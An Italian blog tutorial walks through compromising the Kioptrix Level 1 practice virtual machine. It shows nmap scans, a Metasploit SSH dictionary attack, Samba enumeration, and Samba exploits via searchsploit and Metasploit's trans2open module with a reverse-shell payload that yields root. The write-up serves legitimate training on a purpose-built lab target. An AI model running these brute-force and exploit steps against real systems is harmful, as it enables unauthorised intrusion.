Imparare a sfruttare vulnerabilità: Kioptrix Livello 1

Tempo di lettura: 10 minuti
Data pubblicazione: May 5, 2016

Fin’ora abbiamo discusso alcuni tra i tanti modi per individuare i sistemi, enumerare informazioni, scansionare la porte. Le attività di Footprinting devono essere effettuate prima di poter portare qualsiasi tipo di attacco al sistema target. Una volta in possesso di queste informazioni, si possono iniziare a fare delle ipotesi sulle potenziali vulnerabilità che potrebbero essere presenti. In questo articolo utilizzerò la macchina virtuale Kioptrix per spiegare le principali metodologie di Accesso remoto (ossia accedere ad un sistema tramite la rete).

Il libro _Hacker 7.0 _(Apogeo 2013) riporta quattro metodi principali per compromettere la sicurezza di un sistema UNIX:

  1. Exploit di un servizio in ascolto: per accedere ad un sistema deve esserci un servizio in ascolto, con una porta aperta. Altrimenti sarà impossibile accedere allo stesso;
  2. Routing attraverso un sistema Unix: si sfrutta il firewall di Unix utilizzandolo come router, inoltrando dei pacchetti tramite il firewall;
  3. Esecuzione di programmi in remoto avviati dall’utente: si invia al dispositivo un url maligno che permette di accedere al sistema, se avviato;
  4. Attacchi in modalità promiscua: ad esempio, se l’obbiettivo sta sniffando la rete, e il suo sniffer ha delle vulnerabilità, è possibile sfruttarle per entrare nel sistema.

La domande da porsi sono quindi:

  • C’è un servizio in ascolto?
  • Il sistema utilizza il routing?
  • L’utente potrà eseguire comandi che mettono a rischio la sicurezza?
  • La scheda di rete è in modalità promiscua?

Avviso: per questa tipologia di esercizio consiglio di leggere prima gli articoli sul Footprinting e sullo Scanning. Inserirò comunque link agli articoli con cui potrete approfondire

Installazione

Kioptrix è una macchina virtuale, potete scaricarlo da qui. Io utilizzerò VirtuaBox, ma siete ovviamente liberi di usare il software che più vi aggrada. Dopo aver scaricato il file e averlo scompattato, create una nuova macchina virtuale con queste caratteristiche:

  • Sistema Operativo: Other Linux 32 Bit;
  • Memoria: 256 o 512 Mb;
  • Disco Virtuale: selezionate Kioptrix Level 1.vmdk (il file estratto precedentemente).

instal1
instal1
install2
install2

Prima di eseguirla controllate che la rete sia connessa tramite Bridged Adapter, altrimenti non verrà trovata sulla vostra rete (e di conseguenza non potrete scansionarla)

network
network

Scansione

Dopo aver trovato l’indirizzo IP della macchina virtuale con nmap

nmap -sn 192.168.1.1/24

effettuo una scansione di tutte le porte attive

root@kali:~$ sudo nmap -sTUV 192.168.1.109
Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-03 11:34 CEST
Nmap scan report for 192.168.1.109
Host is up (0.0044s latency).
Not shown: 1990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
32768/tcp open status 1 (RPC #100024)
111/udp open rpcbind 2 (RPC #100000)
137/udp open netbios-ns Microsoft Windows XP netbios-ssn
138/udp open|filtered netbios-dgm
32768/udp open status 1 (RPC #100024)
MAC Address: 08:00:27:90:E1:2C (Oracle VirtualBox virtual NIC)
Service Info: Host: KIOPTRIX; OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1190.95 seconds

Ora conosco i servizi attivi dell’host, e so che:

  • utilizza, sulla porta 22, il servizio ssh. In particolare OpenSSH versione 2.9 (sarà permesso il login? è una versione vulnerabile?);
  • sulla porta 139 gira Samba;
  • sulla porta 80 e 443 Apache httpd versione 1.3.20;

Le vie possibili da seguire in questo momento sono molteplici, e dipende dal grado di preparazione di ognuno. I passi che eseguirò sono solo alcuni tra i tanti per scovare vulnerabilità ed entrare nel dispositivo target.

SSH

Il protocollo SSH già di per sè permette di stabilire una sessione remota (cifrata) tramite interfaccia a riga di comando. Senza tanti preamboli, provo a connettermi

ssh 192.168.1.168
root@192.168.1.109's password:

Un’informazione è stata ottenuta, il nome dell’account è root, ma la password è sconosciuta. Apro metasploit e cerco ssh

Il modulo che mi viene incontro è auxiliary/scanner/ssh/ssh_login, il quale ti permette di testare un lista di password in modo automatico verso l’host (attacco a dizionario). Dopo averlo selezionato, impostato il file delle password, lo avvio

brutemsf
brutemsf

Ed ecco che mi ha trovato la password. Provo con il terminale a connettermi

root@kali:~# ssh 192.168.1.109
root@192.168.1.109's password: 
Last login: Thu May  5 17:41:42 2016 from 192.168.1.107
unknown terminal "xterm-256color"
unknown terminal "xterm-256color"
[root@kioptrix root]# whoami
root

Sono dentro al sistema, e con le credenziali di root. Questo è un esempio, la password è stata modificata appositamente per rendere agevole la scansione.

Netbios

Netbios è sistema utilizzato per le comunicazioni via rete locale. È vivamente consigliato disattivarlo o configurarlo opportunamente, altrimenti è possibile che sia vulnerabile (ne ho parlato anche qui). Come prima, faccio una scansione dell’host (solo di netbios)

root@kali:~# nmblookup -A 192.168.1.109
Looking up status of 192.168.1.109
	KIOPTRIX         -         B  
	KIOPTRIX         -         B  
	KIOPTRIX         -         B  
	..__MSBROWSE__.  -  B  
	MYGROUP          -  B  
	MYGROUP          -         B  
	MYGROUP          -  B  

	MAC Address = 00-00-00-00-00-00

Scopro che è attivo il gruppo KIOPTRIX e MSBROWSE. Provo a connettermi a KIOPTRIX

root@kali:~# smbclient -L \\KIOPTRIX -I 192.168.1.109 
Enter root's password: 
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

	Sharename       Type      Comment
	---------       ----      -------
	IPC$            IPC       IPC Service (Samba Server)
	ADMIN$          IPC       ISSHPC Service (Samba Server)
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

	Server               Comment
	---------            -------
	KIOPTRIX             Samba Server

	Workgroup            Master
	---------            -------
	MYGROUP              KIOPTRIX

Adesso le informazioni ricavate sono che il login anonimo è permesso e che esistono due account :

  • IPC$;
  • ADMIN$;

Probabilmente il secondo è root, sparando nel mucchio provo a connettermi

root@kali:~# smbclient \\\\KIOPTRIX\\IPC$
WARNING: The "syslog" option is deprecated
Enter root's password: 
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
smb: \> cd ~
cd \~\: NT_STATUS_NETWORK_ACCESS_DENIED
smb: \>

Ma dopo essere entrato non riesco a fare nulla, quindi cambio metodo.

Samba tramite searchsploit

Utilizzando searchsploit (un pacchetto che include tutte le vulnerabilità trovate nel corso degli anni) cerco il servizio

searchsploit
searchsploit

I software e gli script sono nella cartella definita in alto a destra. Per evitare di essere Script Kiddie consiglio di leggere la sorgente, prima di compilarli ed eseguirli. Alcuni sono parecchio datati e può essere che necessitino di aggiornamenti (aggiornare librerie, modificare alcune righe, etc). Io ho scelto il secondo. Lo compilo e vedo che tipo di comandi ha bisogno

sambasploit
sambasploit

Dopo aver scelto le opzioni che mi servono, faccio partire lo script

exploitc
exploitc

Ed eccomi nuovamente all’interno del dispositivo, con le credenziali di root.

Samba tramite Metasploit

In questo esempio sfrutterò sempre Samba, ma invece che utilizzare uno script, effettuerò un’exploit direttamente da metasploit. Come prima, cerco samba nel database del software e scelgo “exploit/linux/samba/trans2open”. Le opzioni da inserire sono solo l’obbiettivo e la porta (139). Per poter entrare nel sistema ho bisogno di selezionare un Payload e utilizzo “linux/x86/shell_reverse_tcp”Per poter vedere i payload disponibili basta digitare

show payloads

dopo aver impostato (use) l’exploit che fa al caso nostro. Prima di far partire l’exploit, consiglio di digitare

show advanced

In questo modo potrete vedere tutti i comandi e le opzioni disponibili per il modulo selezionato (nel mio caso ho dovuto inserire la porta (set LPORT 2222) e l’host da cui parte l’attacco(set LHOST 192.168.1.107, il mio IP locale)). L’operazione, alla fine, è quindi stata

msf exploit(trans2open) > run

[*] Started reverse TCP handler on 192.168.1.107:4444 
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffffafc...
[*] Command shell session 1 opened (192.168.1.107:4444 -> 192.168.1.109:32769) at 2016-05-05 18:46:43 +0200

whoami  
root

mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/mail/root": 5 messages 4 new 5 unread
 U  1 root@kioptix.level1   Sat Sep 26 11:42  15/481   "About Level 2"
>N  2 root@kioptrix.level1  Tue May  3 09:28  18/522   "LogWatch for kioptrix"
 N  3 root@kioptrix.level1  Wed May  4 08:15  65/1882  "LogWatch for kioptrix"
 N  4 root@kioptrix.level1  Wed May  4 08:15  34/1159  "Anacron job 'cron.dai"
 N  5 root@kioptrix.level1  Thu May  5 07:40 165/7266  "Anacron job 'cron.dai"
1
Message 1:
From root  Sat Sep 26 11:42:10 2009
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy..

Digitando mail ho visualizzato le mail da leggere, e c’era una mail per root che vedete qui sopra in grassetto.

Conclusioni

Come potete vedere, effettuare un’exploit è tutt’altro che facile, neanche in una macchina vulnerabile costruita appositamente. Nell’articolo ho sfruttato solo due vulnterabilità ed effettuato un’attacco a forza bruta, ma sicuramente sono presenti altri servizi vulnerabili. Spero di esser stato il più chiaro possibile e aver linkato tutte le fonti e guide che possono servire per questa esercitazione.